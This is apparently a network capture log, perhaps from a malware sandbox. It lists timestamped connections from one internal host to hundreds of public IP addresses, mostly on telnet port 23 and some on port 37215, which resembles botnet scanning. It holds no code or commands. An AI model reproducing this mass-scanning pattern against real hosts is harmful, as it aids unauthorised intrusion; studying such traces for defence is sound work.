Dec 28, 2024 20:41:52.047478914 CET	28660	37215	192.168.2.23	156.253.118.122
Dec 28, 2024 20:41:52.047485113 CET	28660	37215	192.168.2.23	41.101.108.1
Dec 28, 2024 20:41:52.047478914 CET	28660	37215	192.168.2.23	156.156.65.154
Dec 28, 2024 20:41:52.047480106 CET	28660	37215	192.168.2.23	156.114.137.252
Dec 28, 2024 20:41:52.047498941 CET	28660	37215	192.168.2.23	156.194.77.29
Dec 28, 2024 20:41:52.047499895 CET	28660	37215	192.168.2.23	197.201.105.23
Dec 28, 2024 20:41:52.047499895 CET	28660	37215	192.168.2.23	41.168.37.168
Dec 28, 2024 20:41:52.064038038 CET	43928	443	192.168.2.23	91.189.91.42
Dec 28, 2024 20:41:52.146280050 CET	23	28664	48.209.252.182	192.168.2.23
Dec 28, 2024 20:41:52.146306992 CET	23	28664	54.89.127.16	192.168.2.23
Dec 28, 2024 20:41:52.146337032 CET	28664	23	192.168.2.23	48.209.252.182
Dec 28, 2024 20:41:52.146337986 CET	23	28664	110.141.225.47	192.168.2.23
Dec 28, 2024 20:41:52.146375895 CET	28664	23	192.168.2.23	54.89.127.16
Dec 28, 2024 20:41:52.146393061 CET	28664	23	192.168.2.23	110.141.225.47
Dec 28, 2024 20:41:52.146444082 CET	23	28664	95.70.24.159	192.168.2.23
Dec 28, 2024 20:41:52.146450996 CET	23	28664	5.105.210.43	192.168.2.23
Dec 28, 2024 20:41:52.146464109 CET	23	28664	163.52.1.159	192.168.2.23
Dec 28, 2024 20:41:52.146470070 CET	23	28664	151.50.195.195	192.168.2.23
Dec 28, 2024 20:41:52.146485090 CET	23	28664	179.185.32.26	192.168.2.23
Dec 28, 2024 20:41:52.146491051 CET	23	28664	9.200.93.177	192.168.2.23
Dec 28, 2024 20:41:52.146498919 CET	28664	23	192.168.2.23	5.105.210.43
Dec 28, 2024 20:41:52.146506071 CET	23	28664	110.22.167.156	192.168.2.23
Dec 28, 2024 20:41:52.146509886 CET	28664	23	192.168.2.23	163.52.1.159
Dec 28, 2024 20:41:52.146509886 CET	28664	23	192.168.2.23	151.50.195.195
Dec 28, 2024 20:41:52.146512985 CET	23	28664	176.49.48.72	192.168.2.23
Dec 28, 2024 20:41:52.146513939 CET	28664	23	192.168.2.23	95.70.24.159
Dec 28, 2024 20:41:52.146518946 CET	23	28664	180.205.67.113	192.168.2.23
Dec 28, 2024 20:41:52.146523952 CET	28664	23	192.168.2.23	179.185.32.26
Dec 28, 2024 20:41:52.146526098 CET	23	28664	148.20.152.135	192.168.2.23
Dec 28, 2024 20:41:52.146531105 CET	28664	23	192.168.2.23	9.200.93.177
Dec 28, 2024 20:41:52.146533012 CET	23	28664	35.119.170.231	192.168.2.23
Dec 28, 2024 20:41:52.146533966 CET	28664	23	192.168.2.23	110.22.167.156
Dec 28, 2024 20:41:52.146538973 CET	23	28664	118.226.32.239	192.168.2.23
Dec 28, 2024 20:41:52.146545887 CET	23	28664	197.33.197.137	192.168.2.23
Dec 28, 2024 20:41:52.146548986 CET	28664	23	192.168.2.23	176.49.48.72
Dec 28, 2024 20:41:52.146548986 CET	28664	23	192.168.2.23	180.205.67.113
Dec 28, 2024 20:41:52.146552086 CET	23	28664	46.159.127.210	192.168.2.23
Dec 28, 2024 20:41:52.146558046 CET	23	28664	209.62.200.245	192.168.2.23
Dec 28, 2024 20:41:52.146565914 CET	28664	23	192.168.2.23	148.20.152.135
Dec 28, 2024 20:41:52.146570921 CET	28664	23	192.168.2.23	118.226.32.239
Dec 28, 2024 20:41:52.146570921 CET	28664	23	192.168.2.23	35.119.170.231
Dec 28, 2024 20:41:52.146581888 CET	28664	23	192.168.2.23	46.159.127.210
Dec 28, 2024 20:41:52.146590948 CET	28664	23	192.168.2.23	197.33.197.137
Dec 28, 2024 20:41:52.146615028 CET	28664	23	192.168.2.23	209.62.200.245
Dec 28, 2024 20:41:52.265896082 CET	23	28664	145.36.141.123	192.168.2.23
Dec 28, 2024 20:41:52.265940905 CET	23	28664	185.65.22.72	192.168.2.23
Dec 28, 2024 20:41:52.265978098 CET	28664	23	192.168.2.23	145.36.141.123
Dec 28, 2024 20:41:52.265983105 CET	28664	23	192.168.2.23	185.65.22.72
Dec 28, 2024 20:41:52.266148090 CET	23	28664	64.88.60.97	192.168.2.23
Dec 28, 2024 20:41:52.266154051 CET	23	28664	162.197.66.2	192.168.2.23
Dec 28, 2024 20:41:52.266204119 CET	23	28664	58.205.230.83	192.168.2.23
Dec 28, 2024 20:41:52.266207933 CET	28664	23	192.168.2.23	64.88.60.97
Dec 28, 2024 20:41:52.266210079 CET	23	28664	101.179.84.90	192.168.2.23
Dec 28, 2024 20:41:52.266213894 CET	28664	23	192.168.2.23	162.197.66.2
Dec 28, 2024 20:41:52.266248941 CET	28664	23	192.168.2.23	58.205.230.83
Dec 28, 2024 20:41:52.266252995 CET	23	28664	85.184.160.232	192.168.2.23
Dec 28, 2024 20:41:52.266252995 CET	28664	23	192.168.2.23	101.179.84.90
Dec 28, 2024 20:41:52.266288042 CET	23	28664	49.140.125.172	192.168.2.23
Dec 28, 2024 20:41:52.266302109 CET	28664	23	192.168.2.23	85.184.160.232
Dec 28, 2024 20:41:52.266320944 CET	23	28664	27.155.176.36	192.168.2.23
Dec 28, 2024 20:41:52.266324043 CET	28664	23	192.168.2.23	49.140.125.172
Dec 28, 2024 20:41:52.266329050 CET	23	28664	4.222.168.66	192.168.2.23
Dec 28, 2024 20:41:52.266362906 CET	28664	23	192.168.2.23	27.155.176.36
Dec 28, 2024 20:41:52.266405106 CET	28664	23	192.168.2.23	4.222.168.66
Dec 28, 2024 20:41:52.266442060 CET	23	28664	189.165.174.150	192.168.2.23
Dec 28, 2024 20:41:52.266448021 CET	23	28664	154.105.135.156	192.168.2.23
Dec 28, 2024 20:41:52.266458035 CET	23	28664	110.162.187.20	192.168.2.23
Dec 28, 2024 20:41:52.266483068 CET	23	28664	139.164.71.82	192.168.2.23
Dec 28, 2024 20:41:52.266496897 CET	28664	23	192.168.2.23	189.165.174.150
Dec 28, 2024 20:41:52.266510010 CET	28664	23	192.168.2.23	154.105.135.156
Dec 28, 2024 20:41:52.266511917 CET	28664	23	192.168.2.23	110.162.187.20
Dec 28, 2024 20:41:52.266530037 CET	23	28664	75.166.2.3	192.168.2.23
Dec 28, 2024 20:41:52.266535044 CET	23	28664	173.253.34.181	192.168.2.23
Dec 28, 2024 20:41:52.266558886 CET	28664	23	192.168.2.23	139.164.71.82
Dec 28, 2024 20:41:52.266576052 CET	28664	23	192.168.2.23	173.253.34.181
Dec 28, 2024 20:41:52.266582012 CET	28664	23	192.168.2.23	75.166.2.3
Dec 28, 2024 20:41:52.266714096 CET	23	28664	62.129.211.224	192.168.2.23
Dec 28, 2024 20:41:52.266719103 CET	23	28664	81.45.25.98	192.168.2.23
Dec 28, 2024 20:41:52.266730070 CET	23	28664	218.255.166.165	192.168.2.23
Dec 28, 2024 20:41:52.266735077 CET	23	28664	202.24.125.195	192.168.2.23
Dec 28, 2024 20:41:52.266740084 CET	23	28664	65.42.119.39	192.168.2.23
Dec 28, 2024 20:41:52.266745090 CET	23	28664	86.162.209.201	192.168.2.23
Dec 28, 2024 20:41:52.266748905 CET	23	28664	135.227.18.102	192.168.2.23
Dec 28, 2024 20:41:52.266758919 CET	23	28664	32.81.196.30	192.168.2.23
Dec 28, 2024 20:41:52.266763926 CET	28664	23	192.168.2.23	62.129.211.224
Dec 28, 2024 20:41:52.266763926 CET	23	28664	68.227.229.54	192.168.2.23
Dec 28, 2024 20:41:52.266768932 CET	23	28664	83.194.61.160	192.168.2.23
Dec 28, 2024 20:41:52.266772032 CET	28664	23	192.168.2.23	81.45.25.98
Dec 28, 2024 20:41:52.266773939 CET	28664	23	192.168.2.23	202.24.125.195
Dec 28, 2024 20:41:52.266773939 CET	28664	23	192.168.2.23	65.42.119.39
Dec 28, 2024 20:41:52.266773939 CET	28664	23	192.168.2.23	218.255.166.165
Dec 28, 2024 20:41:52.266781092 CET	23	28664	106.122.35.201	192.168.2.23
Dec 28, 2024 20:41:52.266787052 CET	23	28664	213.105.109.239	192.168.2.23
Dec 28, 2024 20:41:52.266789913 CET	28664	23	192.168.2.23	86.162.209.201
Dec 28, 2024 20:41:52.266793013 CET	28664	23	192.168.2.23	32.81.196.30
Dec 28, 2024 20:41:52.266793013 CET	28664	23	192.168.2.23	83.194.61.160
Dec 28, 2024 20:41:52.266802073 CET	28664	23	192.168.2.23	135.227.18.102
Dec 28, 2024 20:41:52.266807079 CET	28664	23	192.168.2.23	68.227.229.54
Dec 28, 2024 20:41:52.266813993 CET	28664	23	192.168.2.23	106.122.35.201
Dec 28, 2024 20:41:52.266834021 CET	28664	23	192.168.2.23	213.105.109.239
Dec 28, 2024 20:41:52.267390966 CET	23	28664	194.254.208.67	192.168.2.23
Dec 28, 2024 20:41:52.267405987 CET	23	28664	48.71.186.52	192.168.2.23
Dec 28, 2024 20:41:52.267416000 CET	23	28664	49.4.88.196	192.168.2.23
Dec 28, 2024 20:41:52.267438889 CET	28664	23	192.168.2.23	48.71.186.52
Dec 28, 2024 20:41:52.267442942 CET	28664	23	192.168.2.23	194.254.208.67
Dec 28, 2024 20:41:52.267450094 CET	23	28664	81.201.148.167	192.168.2.23
Dec 28, 2024 20:41:52.267455101 CET	23	28664	121.58.109.56	192.168.2.23
Dec 28, 2024 20:41:52.267460108 CET	28664	23	192.168.2.23	49.4.88.196
Dec 28, 2024 20:41:52.267498016 CET	28664	23	192.168.2.23	81.201.148.167
Dec 28, 2024 20:41:52.267498970 CET	28664	23	192.168.2.23	121.58.109.56
Dec 28, 2024 20:41:52.267513037 CET	23	28664	80.226.146.31	192.168.2.23
Dec 28, 2024 20:41:52.267518044 CET	23	28664	141.225.132.144	192.168.2.23
Dec 28, 2024 20:41:52.267530918 CET	23	28664	203.30.162.91	192.168.2.23
Dec 28, 2024 20:41:52.267549992 CET	28664	23	192.168.2.23	141.225.132.144
Dec 28, 2024 20:41:52.267550945 CET	28664	23	192.168.2.23	80.226.146.31
Dec 28, 2024 20:41:52.267566919 CET	23	28664	139.11.139.25	192.168.2.23
Dec 28, 2024 20:41:52.267580032 CET	28664	23	192.168.2.23	203.30.162.91
Dec 28, 2024 20:41:52.267606020 CET	28664	23	192.168.2.23	139.11.139.25
Dec 28, 2024 20:41:52.267627954 CET	23	28664	176.225.192.236	192.168.2.23
Dec 28, 2024 20:41:52.267651081 CET	23	28664	62.130.194.211	192.168.2.23
Dec 28, 2024 20:41:52.267687082 CET	23	28664	36.51.70.207	192.168.2.23
Dec 28, 2024 20:41:52.267690897 CET	28664	23	192.168.2.23	176.225.192.236
Dec 28, 2024 20:41:52.267693996 CET	23	28664	150.243.174.214	192.168.2.23
Dec 28, 2024 20:41:52.267693996 CET	28664	23	192.168.2.23	62.130.194.211
Dec 28, 2024 20:41:52.267724991 CET	28664	23	192.168.2.23	36.51.70.207
Dec 28, 2024 20:41:52.267754078 CET	23	28664	185.169.240.185	192.168.2.23
Dec 28, 2024 20:41:52.267760038 CET	23	28664	91.198.254.164	192.168.2.23
Dec 28, 2024 20:41:52.267776012 CET	23	28664	94.38.62.209	192.168.2.23
Dec 28, 2024 20:41:52.267790079 CET	28664	23	192.168.2.23	150.243.174.214
Dec 28, 2024 20:41:52.267792940 CET	28664	23	192.168.2.23	185.169.240.185
Dec 28, 2024 20:41:52.267808914 CET	28664	23	192.168.2.23	94.38.62.209
Dec 28, 2024 20:41:52.267808914 CET	28664	23	192.168.2.23	91.198.254.164
Dec 28, 2024 20:41:52.267819881 CET	23	28664	27.166.163.10	192.168.2.23
Dec 28, 2024 20:41:52.267870903 CET	23	28664	44.194.215.87	192.168.2.23
Dec 28, 2024 20:41:52.267875910 CET	23	28664	168.243.111.101	192.168.2.23
Dec 28, 2024 20:41:52.267880917 CET	28664	23	192.168.2.23	27.166.163.10
Dec 28, 2024 20:41:52.267885923 CET	23	28664	203.46.209.104	192.168.2.23
Dec 28, 2024 20:41:52.267914057 CET	28664	23	192.168.2.23	44.194.215.87
Dec 28, 2024 20:41:52.267915010 CET	28664	23	192.168.2.23	168.243.111.101
Dec 28, 2024 20:41:52.267919064 CET	23	28664	198.132.225.160	192.168.2.23
Dec 28, 2024 20:41:52.267923117 CET	28664	23	192.168.2.23	203.46.209.104
Dec 28, 2024 20:41:52.267976999 CET	28664	23	192.168.2.23	198.132.225.160
Dec 28, 2024 20:41:52.267983913 CET	23	28664	42.167.164.165	192.168.2.23
Dec 28, 2024 20:41:52.267991066 CET	23	28664	125.192.149.22	192.168.2.23
Dec 28, 2024 20:41:52.268033981 CET	28664	23	192.168.2.23	42.167.164.165
Dec 28, 2024 20:41:52.268045902 CET	28664	23	192.168.2.23	125.192.149.22
Dec 28, 2024 20:41:52.268052101 CET	23	28664	119.21.32.141	192.168.2.23
Dec 28, 2024 20:41:52.268102884 CET	23	28664	51.161.28.172	192.168.2.23
Dec 28, 2024 20:41:52.268107891 CET	23	28664	31.117.142.80	192.168.2.23
Dec 28, 2024 20:41:52.268126965 CET	23	28664	66.193.96.123	192.168.2.23
Dec 28, 2024 20:41:52.268127918 CET	28664	23	192.168.2.23	119.21.32.141
Dec 28, 2024 20:41:52.268146992 CET	28664	23	192.168.2.23	51.161.28.172
Dec 28, 2024 20:41:52.268146992 CET	28664	23	192.168.2.23	31.117.142.80
Dec 28, 2024 20:41:52.268168926 CET	23	28664	104.148.213.44	192.168.2.23
Dec 28, 2024 20:41:52.268188000 CET	28664	23	192.168.2.23	66.193.96.123
Dec 28, 2024 20:41:52.268213034 CET	28664	23	192.168.2.23	104.148.213.44
Dec 28, 2024 20:41:52.268728971 CET	23	28664	13.164.110.80	192.168.2.23
Dec 28, 2024 20:41:52.268779993 CET	23	28664	113.39.181.132	192.168.2.23
Dec 28, 2024 20:41:52.268783092 CET	28664	23	192.168.2.23	13.164.110.80
Dec 28, 2024 20:41:52.268786907 CET	23	28664	151.173.208.51	192.168.2.23
Dec 28, 2024 20:41:52.268826008 CET	28664	23	192.168.2.23	113.39.181.132
Dec 28, 2024 20:41:52.268826008 CET	28664	23	192.168.2.23	151.173.208.51
Dec 28, 2024 20:41:52.268857956 CET	23	28664	67.250.174.86	192.168.2.23
Dec 28, 2024 20:41:52.268906116 CET	28664	23	192.168.2.23	67.250.174.86
Dec 28, 2024 20:41:52.268908978 CET	23	28664	219.13.112.140	192.168.2.23
Dec 28, 2024 20:41:52.268914938 CET	23	28664	191.1.10.78	192.168.2.23
Dec 28, 2024 20:41:52.268933058 CET	23	28664	44.166.202.105	192.168.2.23
Dec 28, 2024 20:41:52.268938065 CET	23	28664	19.67.35.54	192.168.2.23
Dec 28, 2024 20:41:52.268956900 CET	28664	23	192.168.2.23	219.13.112.140
Dec 28, 2024 20:41:52.268959045 CET	28664	23	192.168.2.23	44.166.202.105
Dec 28, 2024 20:41:52.268959045 CET	28664	23	192.168.2.23	191.1.10.78
Dec 28, 2024 20:41:52.268981934 CET	23	28664	190.38.199.16	192.168.2.23
Dec 28, 2024 20:41:52.268992901 CET	23	28664	62.240.39.131	192.168.2.23
Dec 28, 2024 20:41:52.268999100 CET	23	28664	75.232.186.237	192.168.2.23
Dec 28, 2024 20:41:52.269005060 CET	28664	23	192.168.2.23	19.67.35.54
Dec 28, 2024 20:41:52.269026995 CET	28664	23	192.168.2.23	62.240.39.131
Dec 28, 2024 20:41:52.269026995 CET	28664	23	192.168.2.23	75.232.186.237
Dec 28, 2024 20:41:52.269037962 CET	28664	23	192.168.2.23	190.38.199.16
Dec 28, 2024 20:41:52.269150019 CET	23	28664	126.31.72.151	192.168.2.23
Dec 28, 2024 20:41:52.269155025 CET	23	28664	52.148.73.247	192.168.2.23
Dec 28, 2024 20:41:52.269165993 CET	23	28664	5.43.140.245	192.168.2.23
Dec 28, 2024 20:41:52.269170046 CET	23	28664	181.45.41.40	192.168.2.23
Dec 28, 2024 20:41:52.269180059 CET	23	28664	84.221.192.92	192.168.2.23
Dec 28, 2024 20:41:52.269185066 CET	23	28664	209.229.226.27	192.168.2.23
Dec 28, 2024 20:41:52.269188881 CET	80	28662	182.138.90.141	192.168.2.23
Dec 28, 2024 20:41:52.269190073 CET	28664	23	192.168.2.23	126.31.72.151
Dec 28, 2024 20:41:52.269200087 CET	37215	28660	156.69.185.109	192.168.2.23
Dec 28, 2024 20:41:52.269203901 CET	28664	23	192.168.2.23	5.43.140.245
Dec 28, 2024 20:41:52.269222975 CET	28664	23	192.168.2.23	52.148.73.247
Dec 28, 2024 20:41:52.269222975 CET	28664	23	192.168.2.23	181.45.41.40
Dec 28, 2024 20:41:52.269222975 CET	28664	23	192.168.2.23	84.221.192.92
Dec 28, 2024 20:41:52.269237995 CET	28662	80	192.168.2.23	182.138.90.141
Dec 28, 2024 20:41:52.269238949 CET	28664	23	192.168.2.23	209.229.226.27
Dec 28, 2024 20:41:52.269251108 CET	28660	37215	192.168.2.23	156.69.185.109
Dec 28, 2024 20:41:53.028223991 CET	28664	23	192.168.2.23	112.24.171.99
Dec 28, 2024 20:41:53.028227091 CET	28664	23	192.168.2.23	206.150.132.131
Dec 28, 2024 20:41:53.028227091 CET	28664	23	192.168.2.23	171.44.203.56
Dec 28, 2024 20:41:53.028228998 CET	28664	23	192.168.2.23	154.135.179.149
Dec 28, 2024 20:41:53.028229952 CET	28664	23	192.168.2.23	76.226.95.49
Dec 28, 2024 20:41:53.028244972 CET	28664	23	192.168.2.23	217.93.74.14
Dec 28, 2024 20:41:53.028244972 CET	28664	23	192.168.2.23	27.16.69.209
Dec 28, 2024 20:41:53.028244972 CET	28664	23	192.168.2.23	218.211.3.190
Dec 28, 2024 20:41:53.028248072 CET	28664	23	192.168.2.23	203.34.58.1
Dec 28, 2024 20:41:53.028248072 CET	28664	23	192.168.2.23	58.10.156.37
Dec 28, 2024 20:41:53.028248072 CET	28664	23	192.168.2.23	198.158.58.251
Dec 28, 2024 20:41:53.028248072 CET	28664	23	192.168.2.23	131.171.205.24
Dec 28, 2024 20:41:53.028253078 CET	28664	23	192.168.2.23	160.209.221.166
Dec 28, 2024 20:41:53.028259039 CET	28664	23	192.168.2.23	80.92.231.101
Dec 28, 2024 20:41:53.028280020 CET	28664	23	192.168.2.23	210.69.174.157
Dec 28, 2024 20:41:53.028280020 CET	28664	23	192.168.2.23	185.24.156.158
Dec 28, 2024 20:41:53.028280020 CET	28664	23	192.168.2.23	37.163.60.147
Dec 28, 2024 20:41:53.028280020 CET	28664	23	192.168.2.23	172.34.88.206
Dec 28, 2024 20:41:53.028283119 CET	28664	23	192.168.2.23	19.69.64.200
Dec 28, 2024 20:41:53.028283119 CET	28664	23	192.168.2.23	144.177.169.140
Dec 28, 2024 20:41:53.028292894 CET	28664	23	192.168.2.23	171.252.208.134
Dec 28, 2024 20:41:53.028292894 CET	28664	23	192.168.2.23	61.179.239.41
Dec 28, 2024 20:41:53.028292894 CET	28664	23	192.168.2.23	120.56.188.58
Dec 28, 2024 20:41:53.028292894 CET	28664	23	192.168.2.23	121.53.213.189
Dec 28, 2024 20:41:53.028294086 CET	28664	23	192.168.2.23	62.72.70.142
Dec 28, 2024 20:41:53.028294086 CET	28664	23	192.168.2.23	209.214.206.247
Dec 28, 2024 20:41:53.028295040 CET	28664	23	192.168.2.23	129.148.83.234
Dec 28, 2024 20:41:53.028296947 CET	28664	23	192.168.2.23	101.228.59.115
Dec 28, 2024 20:41:53.028297901 CET	28664	23	192.168.2.23	151.116.14.206
Dec 28, 2024 20:41:53.028297901 CET	28664	23	192.168.2.23	114.75.63.140
Dec 28, 2024 20:41:53.028301954 CET	28664	23	192.168.2.23	67.18.101.9
Dec 28, 2024 20:41:53.028307915 CET	28664	23	192.168.2.23	8.103.188.190
Dec 28, 2024 20:41:53.028311968 CET	28664	23	192.168.2.23	124.62.65.219
Dec 28, 2024 20:41:53.028316975 CET	28664	23	192.168.2.23	100.9.216.149
Dec 28, 2024 20:41:53.028328896 CET	28664	23	192.168.2.23	148.217.218.131
Dec 28, 2024 20:41:53.028328896 CET	28664	23	192.168.2.23	137.172.93.139
Dec 28, 2024 20:41:53.028332949 CET	28664	23	192.168.2.23	176.207.236.21
Dec 28, 2024 20:41:53.028332949 CET	28664	23	192.168.2.23	199.133.29.254
Dec 28, 2024 20:41:53.028341055 CET	28664	23	192.168.2.23	207.126.197.27
Dec 28, 2024 20:41:53.028343916 CET	28664	23	192.168.2.23	41.214.113.154
Dec 28, 2024 20:41:53.028343916 CET	28664	23	192.168.2.23	179.109.76.118
Dec 28, 2024 20:41:53.028347969 CET	28664	23	192.168.2.23	62.17.23.194
Dec 28, 2024 20:41:53.028347969 CET	28664	23	192.168.2.23	195.89.236.187
Dec 28, 2024 20:41:53.028347969 CET	28664	23	192.168.2.23	43.2.38.38
Dec 28, 2024 20:41:53.028357983 CET	28664	23	192.168.2.23	40.18.54.50
Dec 28, 2024 20:41:53.028357983 CET	28664	23	192.168.2.23	195.35.121.107
Dec 28, 2024 20:41:53.028371096 CET	28664	23	192.168.2.23	88.10.237.100
Dec 28, 2024 20:41:53.028372049 CET	28664	23	192.168.2.23	58.93.239.215
Dec 28, 2024 20:41:53.028383970 CET	28664	23	192.168.2.23	17.227.50.236
Dec 28, 2024 20:41:53.028383970 CET	28664	23	192.168.2.23	41.152.116.39
Dec 28, 2024 20:41:53.028384924 CET	28664	23	192.168.2.23	163.16.170.216
Dec 28, 2024 20:41:53.028384924 CET	28664	23	192.168.2.23	109.110.247.65
Dec 28, 2024 20:41:53.028386116 CET	28664	23	192.168.2.23	8.107.177.176
Dec 28, 2024 20:41:53.028386116 CET	28664	23	192.168.2.23	59.34.41.117
Dec 28, 2024 20:41:53.028388977 CET	28664	23	192.168.2.23	222.99.161.57
Dec 28, 2024 20:41:53.028393984 CET	28664	23	192.168.2.23	17.120.20.214
Dec 28, 2024 20:41:53.028394938 CET	28664	23	192.168.2.23	149.73.91.69
Dec 28, 2024 20:41:53.028398037 CET	28664	23	192.168.2.23	153.175.71.136
Dec 28, 2024 20:41:53.028408051 CET	28664	23	192.168.2.23	82.188.251.214
Dec 28, 2024 20:41:53.028409004 CET	28664	23	192.168.2.23	9.166.170.17
Dec 28, 2024 20:41:53.028409004 CET	28664	23	192.168.2.23	23.77.195.134
Dec 28, 2024 20:41:53.028410912 CET	28664	23	192.168.2.23	40.106.190.74
Dec 28, 2024 20:41:53.028410912 CET	28664	23	192.168.2.23	17.44.221.137
Dec 28, 2024 20:41:53.028418064 CET	28664	23	192.168.2.23	150.215.74.146
Dec 28, 2024 20:41:53.028422117 CET	28664	23	192.168.2.23	158.222.209.62
Dec 28, 2024 20:41:53.028424978 CET	28664	23	192.168.2.23	114.237.104.10
Dec 28, 2024 20:41:53.028435946 CET	28664	23	192.168.2.23	200.61.138.18
Dec 28, 2024 20:41:53.028439045 CET	28664	23	192.168.2.23	209.32.161.50
Dec 28, 2024 20:41:53.028441906 CET	28664	23	192.168.2.23	208.174.9.86
Dec 28, 2024 20:41:53.028448105 CET	28664	23	192.168.2.23	63.152.86.131
Dec 28, 2024 20:41:53.028448105 CET	28664	23	192.168.2.23	162.124.205.189
Dec 28, 2024 20:41:53.028453112 CET	28664	23	192.168.2.23	94.134.156.198
Dec 28, 2024 20:41:53.028459072 CET	28664	23	192.168.2.23	153.203.232.255
Dec 28, 2024 20:41:53.028465033 CET	28664	23	192.168.2.23	130.11.51.207
Dec 28, 2024 20:41:53.028465033 CET	28664	23	192.168.2.23	125.202.197.239
Dec 28, 2024 20:41:53.028470993 CET	28664	23	192.168.2.23	19.237.73.166
Dec 28, 2024 20:41:53.028474092 CET	28664	23	192.168.2.23	179.60.58.248
Dec 28, 2024 20:41:53.028474092 CET	28664	23	192.168.2.23	47.21.237.55
Dec 28, 2024 20:41:53.028477907 CET	28664	23	192.168.2.23	100.52.104.212
Dec 28, 2024 20:41:53.028477907 CET	28664	23	192.168.2.23	67.43.166.222
Dec 28, 2024 20:41:53.028484106 CET	28664	23	192.168.2.23	93.125.36.144
Dec 28, 2024 20:41:53.028485060 CET	28664	23	192.168.2.23	156.3.87.189
Dec 28, 2024 20:41:53.028486967 CET	28664	23	192.168.2.23	101.26.112.252
Dec 28, 2024 20:41:53.028493881 CET	28664	23	192.168.2.23	192.101.22.141
Dec 28, 2024 20:41:53.028496981 CET	28664	23	192.168.2.23	110.210.42.60
Dec 28, 2024 20:41:53.028493881 CET	28664	23	192.168.2.23	100.231.146.253
Dec 28, 2024 20:41:53.028508902 CET	28664	23	192.168.2.23	87.161.37.51
Dec 28, 2024 20:41:53.028508902 CET	28664	23	192.168.2.23	90.9.13.14
Dec 28, 2024 20:41:53.028508902 CET	28664	23	192.168.2.23	125.49.75.139
Dec 28, 2024 20:41:53.028512001 CET	28664	23	192.168.2.23	45.81.16.104
Dec 28, 2024 20:41:53.028515100 CET	28664	23	192.168.2.23	186.192.171.252
Dec 28, 2024 20:41:53.028515100 CET	28664	23	192.168.2.23	200.72.239.118
Dec 28, 2024 20:41:53.028516054 CET	28664	23	192.168.2.23	39.16.206.163
Dec 28, 2024 20:41:53.028516054 CET	28664	23	192.168.2.23	81.92.52.13
Dec 28, 2024 20:41:53.028516054 CET	28664	23	192.168.2.23	19.89.243.255
Dec 28, 2024 20:41:53.028526068 CET	28664	23	192.168.2.23	160.174.129.95
Dec 28, 2024 20:41:53.028527021 CET	28664	23	192.168.2.23	121.211.131.154
Dec 28, 2024 20:41:53.028536081 CET	28664	23	192.168.2.23	171.38.222.59
Dec 28, 2024 20:41:53.028537035 CET	28664	23	192.168.2.23	212.40.248.248
Dec 28, 2024 20:41:53.028537035 CET	28664	23	192.168.2.23	162.206.44.56
Dec 28, 2024 20:41:53.028539896 CET	28664	23	192.168.2.23	8.59.241.8
Dec 28, 2024 20:41:53.028539896 CET	28664	23	192.168.2.23	203.221.193.78
Dec 28, 2024 20:41:53.028541088 CET	28664	23	192.168.2.23	163.215.195.154
Dec 28, 2024 20:41:53.028554916 CET	28664	23	192.168.2.23	140.181.211.61
Dec 28, 2024 20:41:53.028554916 CET	28664	23	192.168.2.23	166.103.127.250
Dec 28, 2024 20:41:53.028554916 CET	28664	23	192.168.2.23	63.59.8.109
Dec 28, 2024 20:41:53.028557062 CET	28664	23	192.168.2.23	37.180.192.116
Dec 28, 2024 20:41:53.028563023 CET	28664	23	192.168.2.23	120.53.140.53
Dec 28, 2024 20:41:53.028563023 CET	28664	23	192.168.2.23	5.62.217.64
Dec 28, 2024 20:41:53.028578997 CET	28664	23	192.168.2.23	23.54.101.173
Dec 28, 2024 20:41:53.028578997 CET	28664	23	192.168.2.23	197.228.45.16
Dec 28, 2024 20:41:53.028578997 CET	28664	23	192.168.2.23	111.111.213.133
Dec 28, 2024 20:41:53.028579950 CET	28664	23	192.168.2.23	71.103.196.45
Dec 28, 2024 20:41:53.028584957 CET	28664	23	192.168.2.23	74.69.109.92
Dec 28, 2024 20:41:53.028587103 CET	28664	23	192.168.2.23	37.194.248.201
Dec 28, 2024 20:41:53.028599977 CET	28664	23	192.168.2.23	80.160.203.117
Dec 28, 2024 20:41:53.028604031 CET	28664	23	192.168.2.23	91.240.16.67
Dec 28, 2024 20:41:53.028604031 CET	28664	23	192.168.2.23	70.0.201.100
Dec 28, 2024 20:41:53.028604984 CET	28664	23	192.168.2.23	62.152.38.90
Dec 28, 2024 20:41:53.028604984 CET	28664	23	192.168.2.23	131.98.33.180
Dec 28, 2024 20:41:53.028605938 CET	28664	23	192.168.2.23	81.128.134.124
Dec 28, 2024 20:41:53.028606892 CET	28664	23	192.168.2.23	86.21.76.94
Dec 28, 2024 20:41:53.028606892 CET	28664	23	192.168.2.23	18.161.143.152
Dec 28, 2024 20:41:53.028625011 CET	28664	23	192.168.2.23	189.51.180.105
Dec 28, 2024 20:41:53.028625965 CET	28664	23	192.168.2.23	138.211.251.169
Dec 28, 2024 20:41:53.028634071 CET	28664	23	192.168.2.23	87.57.220.238
Dec 28, 2024 20:41:53.028634071 CET	28664	23	192.168.2.23	125.167.214.116
Dec 28, 2024 20:41:53.028636932 CET	28664	23	192.168.2.23	223.117.171.211
Dec 28, 2024 20:41:53.028651953 CET	28664	23	192.168.2.23	145.222.75.100
Dec 28, 2024 20:41:53.028657913 CET	28664	23	192.168.2.23	9.42.223.58
Dec 28, 2024 20:41:53.028657913 CET	28664	23	192.168.2.23	106.234.14.46
Dec 28, 2024 20:41:53.028659105 CET	28664	23	192.168.2.23	48.31.212.72
Dec 28, 2024 20:41:53.028661013 CET	28664	23	192.168.2.23	145.13.234.59
Dec 28, 2024 20:41:53.028665066 CET	28664	23	192.168.2.23	116.42.172.1
Dec 28, 2024 20:41:53.028670073 CET	28664	23	192.168.2.23	136.145.176.94
Dec 28, 2024 20:41:53.028675079 CET	28664	23	192.168.2.23	194.68.100.59
Dec 28, 2024 20:41:53.028683901 CET	28664	23	192.168.2.23	54.38.168.100
Dec 28, 2024 20:41:53.028687000 CET	28664	23	192.168.2.23	194.219.191.72
Dec 28, 2024 20:41:53.028691053 CET	28664	23	192.168.2.23	49.246.228.140
Dec 28, 2024 20:41:53.028692007 CET	28664	23	192.168.2.23	148.43.88.255
Dec 28, 2024 20:41:53.028692961 CET	28664	23	192.168.2.23	46.12.236.137
Dec 28, 2024 20:41:53.028692961 CET	28664	23	192.168.2.23	89.54.91.15
Dec 28, 2024 20:41:53.028692961 CET	28664	23	192.168.2.23	134.142.192.116
Dec 28, 2024 20:41:53.028697014 CET	28664	23	192.168.2.23	166.143.30.209
Dec 28, 2024 20:41:53.028701067 CET	28664	23	192.168.2.23	207.198.224.19
Dec 28, 2024 20:41:53.028701067 CET	28664	23	192.168.2.23	179.212.37.199
